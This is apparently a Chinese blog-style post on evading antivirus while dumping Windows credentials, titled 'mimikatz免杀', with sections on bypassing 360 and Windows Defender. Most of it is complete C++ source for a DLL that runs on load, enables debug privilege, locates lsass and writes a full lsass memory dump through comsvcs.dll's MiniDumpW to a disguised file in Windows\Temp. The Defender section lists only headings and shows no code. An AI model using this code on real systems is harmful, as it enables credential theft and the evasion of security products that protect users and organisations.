mimikatz免杀
前言
绕过360核晶
实现思路
完整代码
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS
// comsvcs.dll 中 MiniDumpW 函数的类型定义
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD , DWORD , PWCHAR );
// 检查是否具有管理员权限
BOOL CheckPrivilege()
{
BOOL state;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID AdministratorsGroup;
state = AllocateAndInitializeSid(
&NtAuthority,
2,
SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS,
SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS, 0, 0, 0, 0,
&AdministratorsGroup);
if (state)
{
if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
{
state = FALSE;
}
FreeSid(AdministratorsGroup);
}
return state;
}
// 启用调试权限
BOOL EnableDebugPrivilege()
{
HANDLE hThis = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
LUID luid;
LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
TOKEN_PRIVILEGES priv;
priv.PrivilegeCount = 1;
priv.Privileges[0].Luid = luid;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
if (isEnabiled) {
CloseHandle(hToken);
CloseHandle(hThis);
return TRUE;
}
return FALSE;
}
// 获取 lsass 进程的 PID
DWORD GetLsassPID()
{
DWORD lsassPID = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processName, L"lsass.exe") != 0)
{
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
return lsassPID;
}
// 检查指定文件是否存在
BOOL CheckFileExists(PWCHAR file)
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData, FindExSearchNameMatch, NULL, 0);
if (hFind == INVALID_HANDLE_VALUE)
{
return FALSE;
}
return TRUE;
}
int Dump()
{
WCHAR commandLine[MAX_PATH]; //命令行参数
WCHAR DumpFile[] = L"C:\\Windows\\Temp\\test.log"; //转储文件的路径
_MiniDumpW MiniDumpW; //MiniDumpW 函数的指针
DWORD lsassPID = 0; //存放lsass进程的PID
// 检查是否具有管理员权限
if (!CheckPrivilege())
{
return -1;
}
// 启用调试权限
if (!EnableDebugPrivilege())
{
return -1;
}
// 获取lsass进程的PID
lsassPID = GetLsassPID();
// 获取 MiniDumpW 函数的地址
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
// 准备MiniDumpWh函数的参数,full是传递给MiniDumpW函数的参数之一,表示创建一个完整的内存转储
swprintf(commandLine, 512, L"%d %s full", lsassPID, DumpFile);
// 调用 MiniDumpW 函数创建内存转储文件
MiniDumpW(0, 0, commandLine);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
Dump();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}运行测试

绕过WD
实现思路

MiniDumpWriteDump
回调函数加密dump文件
完整代码
运行测试

参考文章
最后更新于
